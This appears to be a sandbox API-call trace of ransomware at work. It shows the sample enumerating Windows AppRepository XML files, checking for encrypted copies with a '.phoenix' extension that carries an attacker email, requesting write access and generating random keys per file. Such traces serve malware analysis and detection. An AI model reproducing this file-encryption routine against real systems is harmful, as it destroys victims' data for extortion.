	[0250.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.857] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8583) returned 1
	[0250.857] CloseHandle (hObject=0x2d4) returned 1
	[0250.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.858] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.859] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=839) returned 1
	[0250.859] CloseHandle (hObject=0x2d4) returned 1
	[0250.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.859] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.860] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16364) returned 1
	[0250.860] CloseHandle (hObject=0x2d4) returned 1
	[0250.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.860] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.861] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0250.861] CloseHandle (hObject=0x2d4) returned 1
	[0250.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.861] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.861] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0250.861] CloseHandle (hObject=0x2d4) returned 1
	[0250.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.862] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.862] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16429) returned 1
	[0250.862] CloseHandle (hObject=0x2d4) returned 1
	[0250.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.863] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.863] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17166) returned 1
	[0250.863] CloseHandle (hObject=0x2d4) returned 1
	[0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.864] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.864] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5211) returned 1
	[0250.864] CloseHandle (hObject=0x2d4) returned 1
	[0250.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.864] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.865] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=52069) returned 1
	[0250.865] CloseHandle (hObject=0x2d4) returned 1
	[0250.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.866] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1162) returned 1
	[0250.866] CloseHandle (hObject=0x2d4) returned 1
	[0250.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.867] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.867] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.867] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1162) returned 1
	[0250.867] CloseHandle (hObject=0x2d4) returned 1
	[0250.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.867] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.867] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.867] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.868] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1197) returned 1
	[0250.868] CloseHandle (hObject=0x2d4) returned 1
	[0250.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
